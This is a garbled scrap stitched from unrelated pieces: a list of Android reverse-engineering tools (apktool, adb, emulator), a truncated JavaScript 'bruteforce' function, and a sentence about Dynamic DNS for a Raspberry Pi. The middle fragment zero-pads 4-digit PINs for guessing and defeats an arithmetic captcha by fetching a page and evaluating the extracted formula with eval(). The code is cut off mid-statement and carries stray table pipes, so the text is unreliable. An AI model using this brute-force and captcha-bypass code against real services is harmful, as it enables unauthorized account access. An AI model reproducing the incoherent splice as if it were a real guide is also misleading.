- emulator (30.3.5) (via Android SDK)
- adb (30.0.5) (via Android SDK)
- apktool (2.5.0) and Java runtime
- zip (3.0)
- unzip (6.0)
Make sure you have JAVA_HOME
and ANDROID_HOME
environment variables correctly set.
async function bruteforce(id, pass) { | |
pass = ('0000' + pass).slice(-4) | |
const resc = await (async function f() { | |
try { | |
const res = await (await fetch(`${window.location.href.replace(/\/+$/, '')}/resc/`)).text() | |
const match = res.match(/(\d+(?:\+|\-)\d+)[\s\S]+value=(.+)>/) | |
if (match) { | |
return { | |
formula: match[1], | |
solution: eval(match[1]), |
We need to use so called Dynamic DNS (DDNS) to create and dynamically update a mapping between a chosen domain name and an “external” IP address of our Raspberry Pi (i.e. router IP address).